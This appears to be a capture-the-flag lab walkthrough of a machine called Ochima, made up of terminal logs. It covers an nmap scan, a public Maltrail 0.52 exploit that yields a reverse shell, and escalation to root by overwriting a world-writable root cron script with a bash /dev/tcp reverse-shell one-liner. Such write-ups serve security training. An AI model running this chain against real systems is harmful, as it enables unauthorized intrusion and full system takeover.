Ochima

┌──(kali㉿kali)-[~/ctf/pg/ochima]
└─$ nmap -p- -sVC 192.168.224.32 --min-rate 1000 -oN nmap_res
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 23:14 WIB
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 6.06% done; ETC: 23:17 (0:02:04 remaining)
Nmap scan report for 192.168.224.32
Host is up (0.19s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
8338/tcp open  http    Python http.server 3.5 - 3.10
|_http-server-header: Maltrail/0.52
|_http-title: Maltrail
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 141.96 seconds

• https://github.com/spookier/Maltrail-v0.53-Exploit

┌──(kali㉿kali)-[~/ctf/pg/ochima/Maltrail-v0.53-Exploit]
└─$ python3 exploit.py 192.168.45.244 80 http://192.168.224.32:8338/
Running exploit on http://192.168.224.32:8338//login

┌──(kali㉿kali)-[~/ctf/pg/ochima]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.224.32] 51452
$ id
id
uid=1001(snort) gid=1001(snort) groups=1001(snort)

snort@ochima:~$ ./pspy64

2025/05/16 17:05:11 CMD: UID=0     PID=1      | /sbin/init 
2025/05/16 17:06:01 CMD: UID=0     PID=30738  | /usr/sbin/CRON -f -P 
2025/05/16 17:06:01 CMD: UID=0     PID=30741  | 
2025/05/16 17:06:01 CMD: UID=0     PID=30742  | 
2025/05/16 17:06:01 CMD: UID=0     PID=30743  | tar -cf /home/snort/etc_backup.tar /etc 




2025/05/16 17:07:01 CMD: UID=0     PID=30744  | /usr/sbin/CRON -f -P 
2025/05/16 17:07:01 CMD: UID=0     PID=30746  | /bin/bash /var/backups/etc_Backup.sh 
2025/05/16 17:07:01 CMD: UID=0     PID=30745  | /bin/sh -c /var/backups/etc_Backup.sh 
2025/05/16 17:07:01 CMD: UID=0     PID=30747  | tar -cf /home/snort/etc_backup.tar /etc 

snort@ochima:/opt/maltrail-0.53$ ls -la /var/backups/etc_Backup.sh
ls -la /var/backups/etc_Backup.sh
-rwxrwxrwx 1 root root 54 Dec 11  2023 /var/backups/etc_Backup.sh
snort@ochima:/opt/maltrail-0.53$ cat /var/backups/etc_Backup.sh
cat /var/backups/etc_Backup.sh
#! /bin/bash 
tar -cf /home/snort/etc_backup.tar /etc
snort@ochima:/opt/maltrail-0.53$ echo "echo 1 > /tmp/test" >> /var/backups/etc_Backup.sh
< "echo 1 > /tmp/test" >> /var/backups/etc_Backup.sh
snort@ochima:/opt/maltrail-0.53$ cat /var/backups/etc_Backup.sh
cat /var/backups/etc_Backup.sh
#! /bin/bash 
tar -cf /home/snort/etc_backup.tar /etc
echo 1 > /tmp/test
snort@ochima:/opt/maltrail-0.53$ ls -la /tmp/test
ls -la /tmp/test
-rw-r--r-- 1 root root 2 May 16 17:09 /tmp/test

┌──(kali㉿kali)-[~/ctf/pg/ochima]
└─$ cat rev.sh 
bash -c 'bash -i >& /dev/tcp/192.168.45.244/80 0>&1'
                                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/ctf/pg/ochima]
└─$ python3 -m http.server -b 192.168.45.244 80 
Serving HTTP on 192.168.45.244 port 80 (http://192.168.45.244:80/) ...
192.168.224.32 - - [17/May/2025 00:16:30] "GET /rev.sh HTTP/1.1" 200 -

snort@ochima:~$ cat rev.sh 
cat rev.sh
bash -c 'bash -i >& /dev/tcp/192.168.45.244/80 0>&1'
snort@ochima:~$ cat rev.sh > /var/backups/etc_Backup.sh
cat rev.sh > /var/backups/etc_Backup.sh
snort@ochima:~$ cat /var/backups/etc_Backup.sh
cat /var/backups/etc_Backup.sh
bash -c 'bash -i >& /dev/tcp/192.168.45.244/80 0>&1'
snort@ochima:~$ 

┌──(kali㉿kali)-[~/ctf/pg/ochima]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.224.32] 37832
bash: cannot set terminal process group (30940): Inappropriate ioctl for device
bash: no job control in this shell
root@ochima:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ochima:~#